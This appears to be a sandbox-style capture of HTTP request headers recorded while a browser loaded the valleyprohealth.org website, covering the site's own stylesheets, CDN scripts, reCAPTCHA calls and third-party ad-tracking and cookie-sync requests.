Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA4_2t6WCU1nG3S-uFh1AoanZylSh2gX5aiCzj47soDLxJFFrcfMGiH13riGLCyzWNyTlS0K7_weL3jT4x94KnK76o944QkY9Cx2b8QUdS3NuJw1nUiWRbZl2go73tEGjbXOvHs5IcjVARjWnxSj85oSOVJ9yh4dgHtnXLQxLp9BH4JuMir12r4Oed83TFsBICmCFLXddQPHnYrE6bjjcjjxTspCfw&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--VrAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA4_2t6WCU1nG3S-uFh1AoanZylSh2gX5aiCzj47soDLxJFFrcfMGiH13riGLCyzWNyTlS0K7_weL3jT4x94KnK76o944QkY9Cx2b8QUdS3NuJw1nUiWRbZl2go73tEGjbXOvHs5IcjVARjWnxSj85oSOVJ9yh4dgHtnXLQxLp9BH4JuMir12r4Oed83TFsBICmCFLXddQPHnYrE6bjjcjjxTspCfw&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0
Source: global traffic	HTTP traffic detected: GET /cache/app/wildcards.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: http://valleyprohealth.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "de3119f737ac997fbb853cf24e7025b5"If-Modified-Since: Wed, 24 Apr 2024 00:00:03 GMT
Source: global traffic	HTTP traffic detected: GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1Host: listgrowth.ctctcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://valleyprohealth.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6aba559afcf8291c518df6fa4c481556"If-Modified-Since: Wed, 10 Apr 2024 20:08:09 GMT
Source: global traffic	HTTP traffic detected: GET /track/up?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F%23screen-reader-shortcut-header&upid=6su09yz&upv=1.1.0 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSABKAMyCwjWj-fe4JnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cDovL3ZhbGxleXByb2hlYWx0aC5vcmc6ODA.&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=2inicfk70su6 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=39&external_user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expiration=1716554686&gdpr=0&gdpr_consent= HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=69c771e8-c390-4607-a64f-75376e6bf1de&r=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dpubmatic HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cache/app/wildcards.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "de3119f737ac997fbb853cf24e7025b5"If-Modified-Since: Fri, 19 Apr 2024 00:00:03 GMT
Source: global traffic	HTTP traffic detected: GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1Host: listgrowth.ctctcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6aba559afcf8291c518df6fa4c481556"If-Modified-Since: Wed, 10 Apr 2024 20:08:09 GMT
Source: global traffic	HTTP traffic detected: GET /syncd?dsp_id=93&user_group=1&user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expires=30&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbidswitch HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=39&external_user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expiration=1716554686&gdpr=0&gdpr_consent=&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Zij.wNHM7X8AAEDfAUPT2wAA; CMPS=4295; CMPRO=4295
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=pubmatic HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwjSrpXb4ZnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
Source: global traffic	HTTP traffic detected: GET /ul_cb/syncd?dsp_id=93&user_group=1&user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expires=30&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbidswitch HTTP/1.1Host: x.bidswitch.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=6620ae41-7969-4834-b48e-3bf84bd1f044; c=1713962688; tuuid_lu=1713962688
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=bidswitch HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFIAEoAzILCNKuldvhmfI8EAVCDyINCAESCQoFdGllcjIQAVoHM2w2ZDc1OGAB
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/style.css HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
Source: global traffic	HTTP traffic detected: GET /wp-includes/css/dist/block-library/style.min.css HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-bootstrap-blocks/build/style-index.css?ver=5.2.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/css/build.css?ver=1.1.3 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/Valley-Pro-Calculator/public/css/valley-pro-calculator-public.css?ver=1.0.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /jquery-3.5.0.min.js?ver=3.2.1 HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery.slick/1.5.1/slick.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery.slick/1.5.1/slick-theme.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-migrate-3.2.0.min.js?ver=3.0.0 HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery.slick/1.5.1/slick.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/Valley-Pro-Calculator/public/css/main.css?ver=1.0.0 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bt_cost_calculator/style.min.css HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
